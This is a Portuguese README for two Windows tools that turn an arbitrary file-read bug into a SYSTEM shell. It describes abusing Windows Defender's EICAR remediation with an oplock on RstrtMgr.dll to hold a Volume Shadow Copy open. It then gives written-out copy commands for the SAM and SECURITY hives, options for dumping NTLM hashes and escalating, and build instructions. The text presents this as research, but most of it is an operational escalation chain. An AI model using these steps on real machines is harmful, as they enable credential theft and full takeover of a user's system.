
teste
Duas pequenas ferramentas que transformam uma vulnerabilidade de leitura arbitrária de arquivos no Windows em um shell de SYSTEM.
vss_freeze/ — cria uma Cópia de Sombra de Volume como usuário padrão e a mantém aberta para que você tenha tempo de ler os hives SAM/SECURITY/SYSTEM delafr2system/ — recebe os hives que você copiou, descriptografa os hashes NTLM locais offline e abre um shell de SYSTEMJunto com qualquer primitiva de leitura arbitrária de arquivos que rode como SYSTEM (ou qualquer coisa que consiga ler de \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...), isso é uma cadeia completa de usuário padrão → SYSTEM em uma máquina padrão Win10/Win11.
Isso foi extraído do BlueHammer — a pesquisa de abuso do Windows Defender em que descobrimos que soltar um arquivo EICAR em um caminho monitorado faz o Defender criar uma Cópia de Sombra de Volume como parte do fluxo de remediação. Seguramos um oplock de lote RstrtMgr.dll no caminho de carregamento do Defender para que ele permaneça parado no início da remediação, o que por sua vez mantém o VSS vivo pelo tempo que precisarmos.
Originalmente havia também um congelamento cldflt de Stage 2 em cima disso, mas o cldflt rejeita provedores de sincronização que não são do OneDrive no Win11 24H2 (CfRegisterSyncRoot retorna 0x80070057). Apenas manter o oplock de Stage 1 aberto acabou sendo suficiente — o Defender fica pausado, o VSS continua vivo, sem usar a API Cloud Files.
[ vss_simple_freeze.exe ] → [ your arb-read PoC ] → [ fr2system.exe ]
creates VSS as std user reads SAM/SECURITY cracks NTLM, pops SYSTEM
holds it via oplock out of the VSS path shell
vss_simple_freeze.exe --hold 120 como um usuário normal. Ele imprime o caminho do VSS, ex.: \Device\HarddiskVolumeShadowCopy7.\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SAM\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SECURITYC:\Windows\Temp\fileread\SAM e C:\Windows\Temp\fileread\SECURITY.fr2system.exe. Shell de SYSTEM.Se você só quer verificar se a cadeia funciona de ponta a ponta na sua máquina, simule a etapa de leitura arbitrária com um cmd de administrador:
:: Window 1 - std user
vss_simple_freeze.exe --hold 300
:: Window 2 - admin cmd (simulating the arb-read primitive)
mkdir C:\Windows\Temp\fileread
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SAM" C:\Windows\Temp\fileread\SAM
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SECURITY" C:\Windows\Temp\fileread\SECURITY
:: Window 3 - std user again
fr2system.exe
(Substitua 7 pelo número que vss_simple_freeze imprimir.)
vss_simple_freeze.exe [options]
--hold N Auto-release after N seconds (default: wait for Enter)
--auto Non-interactive, hold up to 600s
--publish FILE Write VSS path to FILE (default: %TEMP%\vss_current.txt)
--no-publish Don't write VSS path anywhere
--event NAME Release when named event Local\NAME is signaled
--quiet Suppress per-second liveness output
--help Show help
Examples:
vss_simple_freeze.exe # interactive, Enter to release
vss_simple_freeze.exe --hold 120 # auto-release after 2 min
vss_simple_freeze.exe --event lpe_done --hold 300 # release on signal or 5 min
fr2system.exe [options]
(none) Default - read SAM/SECURITY from C:\Windows\Temp\fileread, escalate to SYSTEM
--dump Dump NTLM hashes only, don't escalate
--scan Scan for alternative credential sources
--path DIR Use a different input directory
--help Show help
Examples:
fr2system.exe
fr2system.exe --dump
fr2system.exe --path C:\lab\hives
fr2system.exe espera pelo menos SAM no diretório de entrada. SECURITY é opcional (usado para segredos LSA / chaves DPAPI).
Ambos os projetos usam MSVC (CRT estático, x64).
cd vss_freeze
build_vss_simple_freeze.bat
cd fr2system
msbuild fr2system.sln /p:Configuration=Release /p:Platform=x64
Criação do VSS:

fr2system → shell de SYSTEM:
